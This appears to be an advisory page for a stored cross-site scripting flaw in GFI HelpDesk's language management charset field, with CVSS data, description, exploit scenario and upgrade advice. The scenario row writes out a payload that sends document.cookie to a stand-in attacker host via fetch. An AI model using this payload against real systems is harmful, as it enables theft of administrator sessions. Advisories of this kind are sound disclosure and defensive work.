EUVD-2026-23928
GHSA-xj4v-3q69-qpxx
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CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the language management functionality where the charset POST parameter is passed directly to SWIFT_Language::Create() without HTML sanitization and subsequently rendered unsanitized by View_Language.RenderGrid(). An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, and the payload executes in the browser of any administrator viewing the Languages page.
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GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the charset POST parameter is not HTML-sanitized before being rendered by the View_Language.RenderGrid() function. An authenticated administrator can inject arbitrary JavaScript through the charset field when creating or editing a language, with the payload executing in the browsers of other administrators viewing the Languages page. …
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| Exploitation | Exploitation requires a valid administrator account with access to the language management functionality in GFI HelpDesk. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 4.8 (Medium) with network vector, low complexity, and high privileges required (PR:H) reflects the moderate real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A malicious administrator or an attacker who has compromised an administrator account logs into GFI HelpDesk and navigates to the language management section. They create a new language or edit an existing one, injecting a JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">' into the charset field. … |
| Remediation | Upgrade GFI HelpDesk to version 4.99.9 or later, which addresses the vulnerability by implementing proper input sanitization and output encoding in the language management functionality. … Detailed patch versions, workarounds, and compensating controls in full report. |
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